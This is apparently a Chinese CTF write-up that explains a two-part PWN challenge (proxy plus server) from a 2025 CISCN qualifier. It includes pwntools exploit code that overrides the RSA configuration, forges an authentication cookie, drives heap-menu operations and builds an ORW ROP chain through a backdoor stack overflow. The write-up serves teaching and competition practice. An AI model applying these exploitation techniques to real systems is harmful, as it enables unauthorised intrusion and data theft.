2025年冬CISCN国赛初赛 PWN题easy_rw详细解析<\/h1>

题目概述<\/h2>

本题是一个包含代理转发机制的PWN题目，由两个主要组件构成：<\/p>

proxy<\/strong>：前端代理\/网关，负责流量转发和加密处理<\/li>

server<\/strong>：后端服务，存在漏洞点<\/li> <\/ul>
攻击流程：用户 → proxy → server。用户只能与proxy交互，proxy对流量进行加密后转发到server。<\/p>
代理(proxy)逆向分析<\/h2>
1. 整体架构<\/h3>
proxy程序包含四种主要的请求类型，通过不同的header值进行区分：<\/p>
switch<\/span> (header) { <\/span><\/span> case<\/span> 0xFFFF2525<\/span>:<\/span> \/\/ 认证请求处理(RSA解密) <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span> case<\/span> 0x7F687985<\/span>:<\/span> \/\/ 转发请求处理(需要cookie验证) <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span> case<\/span> 0x85856547<\/span>:<\/span> \/\/ 更新配置处理 <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span> case<\/span> 0x85856546<\/span>:<\/span> \/\/ 读取日志处理 <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span> default<\/span>:<\/span> <\/span><\/span> \/\/ 返回未知头错误 <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>2. 关键功能分析<\/h3> 2.1 配置更新功能(0x85856547)<\/h4> proxy从config.txt<\/code>文件中读取RSA加密参数：<\/p> n=<\/code>：RSA模数<\/li> d=<\/code>：RSA私钥指数<\/li> <\/ul> 配置读取后存储在全局变量中：<\/p> qword_7240 =<\/span> strtoull(s1 +<\/span> 2<\/span>, 0<\/span>, 16<\/span>); \/\/ 存储n <\/span><\/span><\/span><\/span>qword_7248 =<\/span> strtoull(s1 +<\/span> 2<\/span>, 0<\/span>, 16<\/span>); \/\/ 存储d <\/span><\/span><\/span><\/code><\/pre>攻击思路<\/strong>：通过更新配置功能覆盖远程的config.txt<\/code>文件，使得加密过程可控。<\/p> 利用代码<\/strong>：<\/p> def<\/span> send_pkt<\/span>(io, header, payload=<\/span>b<\/span>""<\/span>): <\/span><\/span> assert<\/span> isinstance(payload, (bytes, bytearray)) <\/span><\/span> io.<\/span>send(p32(header, endian=<\/span>'big'<\/span>)) <\/span><\/span> io.<\/span>send(p32(len(payload), endian=<\/span>'big'<\/span>)) <\/span><\/span> if<\/span> payload: <\/span><\/span> io.<\/span>send(payload) <\/span><\/span> <\/span><\/span>def<\/span> set_config<\/span>(io, padding, n_hex, d_hex): <\/span><\/span> payload =<\/span> padding +<\/span> f<\/span>"n=<\/span>{<\/span>n_hex}<\/span>&d=<\/span>{<\/span>d_hex}<\/span>"<\/span>.<\/span>encode() <\/span><\/span> send_pkt(io, 0x85856547<\/span>, payload) <\/span><\/span> resp =<\/span> io.<\/span>recv(0x1000<\/span>, timeout=<\/span>2<\/span>) <\/span><\/span> return<\/span> resp <\/span><\/span><\/code><\/pre>2.2 认证获取cookie功能(0xFFFF2525)<\/h4> 认证流程：<\/p> 接收挑战码<\/li> 使用RSA解密挑战码<\/li> 验证解密结果是否为"hack"的哈希值<\/li> 验证通过则生成32字节cookie<\/li> <\/ol> FNV1a64哈希算法实现<\/strong>：<\/p> def<\/span> fnv1a64<\/span>(data: bytes) -><\/span> int: <\/span><\/span> h =<\/span> 0x14650FB0739D0383<\/span> <\/span><\/span> for<\/span> b in<\/span> data: <\/span><\/span> h =<\/span> (h ^<\/span> b) *<\/span> 0x100000001B3<\/span> <\/span><\/span> h &=<\/span> 0xFFFFFFFFFFFFFFFF<\/span> <\/span><\/span> h &=<\/span> ~<\/span>(0xFF<\/span> <<<\/span> (2<\/span> *<\/span> 8<\/span>)) # 清零第3个字节<\/span> <\/span><\/span> return<\/span> h <\/span><\/span><\/code><\/pre>认证获取cookie代码<\/strong>：<\/p> def<\/span> auth_get_cookie<\/span>(io): <\/span><\/span> hack_hash =<\/span> fnv1a64(b<\/span>"hack"<\/span>) <\/span><\/span> payload =<\/span> p64(hack_hash, endian=<\/span>'big'<\/span>) <\/span><\/span> send_pkt(io, 0xFFFF2525<\/span>, payload) <\/span><\/span> resp =<\/span> io.<\/span>recv(0x1000<\/span>, timeout=<\/span>2<\/span>) <\/span><\/span> if<\/span> resp and<\/span> len(resp) >=<\/span> 32<\/span> and<\/span> resp[:9<\/span>] !=<\/span> b<\/span>"AUTH_FAIL"<\/span>: <\/span><\/span> cookie =<\/span> resp[:32<\/span>] <\/span><\/span> return<\/span> cookie <\/span><\/span> return<\/span> None<\/span> <\/span><\/span><\/code><\/pre>2.3 转发请求功能(0x7F687985)<\/h4> 转发流程：<\/p> 验证前32字节是否为有效cookie<\/li> 将剩余数据转发到server<\/li> 返回server的响应<\/li> <\/ol> 转发函数<\/strong>：<\/p> def<\/span> forward<\/span>(io, cookie: bytes, data: bytes): <\/span><\/span> assert<\/span> cookie and<\/span> len(cookie) ==<\/span> 32<\/span> <\/span><\/span> payload =<\/span> cookie +<\/span> data <\/span><\/span> send_pkt(io, 0x7F687985<\/span>, payload) <\/span><\/span><\/code><\/pre>后端服务(server)漏洞分析<\/h2> 1. 用户名校验机制<\/h3> server对用户名进行哈希校验，使用strcmp比较，遇到\x00<\/code>会终止。可以通过爆破三个字节的哈希值来绕过校验。<\/p> 2. 堆漏洞利用<\/h3> server存在典型的堆菜单功能：<\/p> add<\/strong>：分配指定大小的堆块<\/li> delete<\/strong>：释放指定索引的堆块<\/li> edit<\/strong>：编辑指定索引的堆块内容<\/li> show<\/strong>：显示指定索引的堆块内容<\/li> <\/ul> 交互格式<\/strong>：<\/p> def<\/span> add<\/span>(size, content): <\/span><\/span> cmd =<\/span> f<\/span>'rtsp:\/\/uH@*\/<\/span>{{<\/span>"command":"add","param1":"<\/span>{<\/span>size}<\/span>","param2":"<\/span>{<\/span>content}<\/span>","param3":""<\/span>}}<\/span>'<\/span> <\/span><\/span> return<\/span> cmd.<\/span>encode() <\/span><\/span> <\/span><\/span>def<\/span> delete<\/span>(index): <\/span><\/span> cmd =<\/span> f<\/span>'rtsp:\/\/uH@*\/<\/span>{{<\/span>"command":"delete","param1":"<\/span>{<\/span>index}<\/span>","param2":"","param3":""<\/span>}}<\/span>'<\/span> <\/span><\/span> return<\/span> cmd.<\/span>encode() <\/span><\/span> <\/span><\/span>def<\/span> edit<\/span>(index, new_content): <\/span><\/span> cmd =<\/span> f<\/span>'rtsp:\/\/uH@*\/<\/span>{{<\/span>"command":"edit","param1":"<\/span>{<\/span>index}<\/span>","param2":"<\/span>{<\/span>new_content}<\/span>","param3":""<\/span>}}<\/span>'<\/span> <\/span><\/span> return<\/span> cmd.<\/span>encode() <\/span><\/span> <\/span><\/span>def<\/span> show<\/span>(index): <\/span><\/span> cmd =<\/span> f<\/span>'rtsp:\/\/uH@*\/<\/span>{{<\/span>"command":"show","param1":"<\/span>{<\/span>index}<\/span>","param2":"","param3":""<\/span>}}<\/span>'<\/span> <\/span><\/span> return<\/span> cmd.<\/span>encode() <\/span><\/span><\/code><\/pre>3. backdoor函数栈溢出<\/h3> backdoor函数存在栈溢出漏洞，可以用于构造ROP链。由于无法直接获取shell，建议使用ORW(Open-Read-Write)技术读取flag。<\/p> 完整利用流程<\/h2> 阶段一：配置proxy加密参数<\/h3> # 连接proxy<\/span> <\/span><\/span>p =<\/span> remote("target_ip"<\/span>, proxy_port) <\/span><\/span> <\/span><\/span># 设置可控的RSA参数(如n=1, d=1使加密形同虚设)<\/span> <\/span><\/span>set_config(p, b<\/span>""<\/span>, "1"<\/span>, "1"<\/span>) <\/span><\/span> <\/span><\/span># 获取认证cookie<\/span> <\/span><\/span>cookie =<\/span> auth_get_cookie(p) <\/span><\/span><\/code><\/pre>阶段二：与server交互泄露基地址<\/h3> # 通过堆操作泄露heap基地址和libc基地址<\/span> <\/span><\/span>add_cmd =<\/span> add(0x20<\/span>, "A"<\/span>*<\/span>8<\/span>) <\/span><\/span>forward(p, cookie, add_cmd) <\/span><\/span> <\/span><\/span># 利用UAF或double-free等技术泄露地址<\/span> <\/span><\/span># ... 具体堆利用细节 ...<\/span> <\/span><\/span><\/code><\/pre>阶段三：构造ORW ROP链<\/h3> # 构造ORW ROP链读取flag<\/span> <\/span><\/span>rop_chain =<\/span> b<\/span>'aaaa:\/\/uH@*\/'<\/span> +<\/span> b<\/span>'a'<\/span>*<\/span>(32<\/span>-<\/span>12<\/span>) <\/span><\/span>rop_chain +=<\/span> p64(0<\/span>) +<\/span> p64(rdi) +<\/span> p64(heap_base +<\/span> 0x7f0<\/span>) <\/span><\/span>rop_chain +=<\/span> p64(rsi) +<\/span> p64(0<\/span>) +<\/span> p64(rdx_r12) +<\/span> p64(0<\/span>)*<\/span>2<\/span> <\/span><\/span>rop_chain +=<\/span> p64(rax) +<\/span> p64(2<\/span>) +<\/span> p64(libc_base +<\/span> libc.<\/span>sym["read"<\/span>] +<\/span> 16<\/span>) <\/span><\/span>rop_chain +=<\/span> p64(rdi) +<\/span> p64(5<\/span>) +<\/span> p64(rsi) +<\/span> p64(heap_base) <\/span><\/span>rop_chain +=<\/span> p64(rdx_r12) +<\/span> p64(0x40<\/span>)*<\/span>2<\/span> +<\/span> p64(libc.<\/span>sym["read"<\/span>] +<\/span> libc_base) <\/span><\/span>rop_chain +=<\/span> p64(rdi) +<\/span> p64(4<\/span>) +<\/span> p64(libc_base +<\/span> libc.<\/span>sym["write"<\/span>]) <\/span><\/span> <\/span><\/span># 注意：需要根据实际的文件描述符调整fd值<\/span> <\/span><\/span><\/code><\/pre>阶段四：触发漏洞<\/h3> # 通过backdoor触发栈溢出执行ROP链<\/span> <\/span><\/span>backdoor_cmd =<\/span> b<\/span>"rtsp:\/\/uH@*\/"<\/span> +<\/span> rop_chain <\/span><\/span>forward(p, cookie, backdoor_cmd) <\/span><\/span> <\/span><\/span># 接收flag<\/span> <\/span><\/span>flag =<\/span> p.<\/span>recvuntil(b<\/span>'}'<\/span>, timeout=<\/span>2<\/span>) <\/span><\/span><\/code><\/pre>技术要点总结<\/h2> 代理绕过<\/strong>：通过更新配置功能控制RSA加密参数，使加密过程失效<\/li> 认证机制<\/strong>：理解FNV1a64哈希算法，正确计算"hack"的哈希值<\/li> 堆利用<\/strong>：在libc 2.31环境下利用堆漏洞泄露基地址<\/li> ROP构造<\/strong>：使用ORW技术绕过权限限制读取flag<\/li> 文件描述符<\/strong>：注意proxy和server之间连接的文件描述符可能不是标准值<\/li> <\/ol> 防御建议<\/h2> 对配置更新功能增加权限验证<\/li> 使用更强的认证机制，避免哈希碰撞<\/li> 修复server中的堆漏洞和栈溢出漏洞<\/li> 对输入数据进行严格验证和过滤<\/li> <\/ol> 本题综合考察了代理转发机制、加密算法绕过、堆漏洞利用和ROP链构造等多个方面的技能，是一道综合性较强的CTF题目。<\/p>